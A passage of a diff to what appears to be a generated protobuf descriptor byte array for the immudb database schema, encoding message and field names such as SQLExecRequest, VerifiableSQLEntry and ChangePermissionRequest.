0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, - 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, - 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, - 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, - 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, - 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, - 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, - 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, - 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, + 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, + 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, + 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, + 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, + 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, + 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, + 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, + 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, + 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, + 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, + 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, + 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, + 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, + 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, + 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, + 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, + 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, + 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, + 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, + 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, + 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, + 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, + 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, + 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, + 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 